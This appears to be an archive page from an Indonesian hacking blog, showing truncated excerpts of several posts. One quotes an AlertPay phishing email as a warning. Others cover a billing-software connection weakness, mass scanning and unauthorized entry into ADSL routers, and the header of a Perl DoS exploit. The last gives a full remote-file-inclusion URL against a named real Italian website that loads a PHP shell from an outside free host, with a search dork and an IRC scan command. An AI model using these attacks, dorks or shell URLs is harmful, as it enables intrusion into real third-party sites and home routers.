Tiba-tiba jadul menerima email dari alertpay. Katanya sih alertpay. Tapi ternyata ini adalah scampage atau fake login yang di kirim oleh spamer untuk mendapatkan email password dan pin dari alertpay yang kita punya. Emailnya:
Security Measures

Dear, sales@indonesiastore.net

Due our latest IP Security upgrades we have reason to believe that your account was accessed by a third party. Because protecting the security of your account is our primary concern, we have limited access to sensitive Alertpay account features. We understand that this may be an inconvenience but please understand that this temporary limitation is for your protection.

How can I restore my account access?

Click the link below and confirm your Alertpay account information, otherwise your Alertpay access will remain restricted:

https://www.alertpay.com/login.aspx

Thank you for your prompt attention to this matter. Please understand that this is a security measure meant to help protect you and your account. We apologize for any inconvenience.

Copyright 2011 AlertPay All Rights Reserved.

(more…)

Sebelum masuk ke inti permasalahan, ada yang perlu anda persiapkan:
- Coba download program demo nya di www.billingexplorer.com
Server program dan client program
- Setelah berhasil mendownload ke duanya, silahkan anda install
terlebih dahulu.
- Apabila proses installasi selesai, silahkan anda coba jalankan kedua
program tersebut pada satu komputer.
- Jalankan program server terlebih dahulu kemudian program clientnya
- Secara default passwordnya akan berisi 008
- ok saya anggap anda semua udah bisa menjalankannya.

Nah apabila selesai proses diatas coba anda jalankan hanya program servernya saja. Kita akan liat kelemahan yang terjadi pada koneksinya. (more…)

—// Disclaimmer
Tulisan ini hanya digunakan untuk proses pembelajaran saja. Penulis tidak bertanggung jawab atas tindakan anarkis dan destruktif yang diakibatkan dari tulisan ini.

—// Pendahuluan
Siang ini… keisengan saya muncul setelah “Matdhule” mengajak berdiskusi tentang proses Scanning. Ia memberikan ide untuk melakukan proses scanning ip yang dipergunakan oleh pelanggan ADSL. Konsep sebenarnya adalah setiap pemakai ADSL akan mendapatkan 1 IP untuk mengkoneksikan diri ke internet. Biasanya untuk pemakai ADSL unlimmited akan mendapatkan IP yang sifatnya tidak berubah- ubah. Berbeda dengan pelanggan ADSL yang limitted… IP yang dipergunakan akan berubah² setiap melakukan koneksi ke internet.
Dasar inilah yang membuat keisengan saya mulai bekerja, melakukan proses scanning dan gainning. Bayangkan saja dalam waktu 1 jam saya bisa mendapatkan 39920 IP yang dalam kondisi aktif… dari jumlah itu… saya mencoba 29 IP secara random…. hhhmmmm… 19 IP Router ADSL bisa dimasuki begitu saja…..
Banyak sekali kegiatan yang bisa dilakukan apabila kita sudah bisa menguasai Router ADSL tersebut, diantaranya : (more…)

[+] Apakah bisa membuka “My Netwok Places”
uuppsss, ternyata pada langkah kali ini gue bisa membukanya… sehingga gue bisa melihat IP Address yang dipergunakan dan itu artinya gue bisa melakukan kegiatan2 berikutnya, perhatikan gambar dibawah ini :

(more…)

#!/usr/bin/perl

use IO::Socket;

if (@ARGV < 1)
{
print “\n”;
print ” \/[DoS for All Nassi <= 3.2 build 2260]===[v0.1]=====\\\n”;
print ” \| ___ ___ ___ ___ ___ \|\n”;
print ” \| N /s/ T N /s/ T N /s/ T N /s/ T N /s/ T \|\n”;
print ” \| — — — — — \|\n”;
print ” \| \|\n”;
print ” \| Tested on: Nasi 3.2 build 2260 www.gracebyte.com \|\n”;
print ” \| \|\n”;
print ” \| Usage: nasidos.pl [port] [-i] \|\n”;
print ” \| \|\n”; (more…)

Ga seru kalo kita hanya bisa melakukan deface web target tanpa pernah mau tahu untuk menutup bug tersebut [ admin security yang baik harus berpikiran secara positif ], padahal untuk menutup bug pada web target bisa dilakukan dengan banyak cara dan kita bisa melakukannya secara manual, penulis akan mencoba memberikan step by step langkah melakukan patching manual secara sederhana tidak perlu berpikiran terlalu jauh karena dengan tehnik ini akan dapat menipu sang penyerang untuk bisa masuk ke dalam target, ok’s penulis coba ambil situs luar [ just for test admin ], kenapa penulis tidak mengambil contoh web target lokal ? jawabannya simpel dan sederhana ada dibenak anda , langsung aja jalankan paman google masukan string bug untuk : newspublish/, atau bila ga mau pusing masuk ke Server IRC cari chanel Underground Indonesia dan lakukan scanning terhadap target dengan string = !scan newspublish/include.php?path[docroot]=, penulis ambil contoh target : http://www.popolariudeur.pv.it/public/amministrazione/newspublish/include.php?path[docroot]=
kemudian seperti biasa lakukan penetrasi dengan phpshell yang kita tanam di situs gratisan, seperti dibawah ini, http://www.popolariudeur.pv.it/public/amministrazione/newspublish/include.php?path[docroot]= http://ernigalak.t35.com/mama.txt? Maka akan nampak seperti dibawah ini hasilnya : (more…)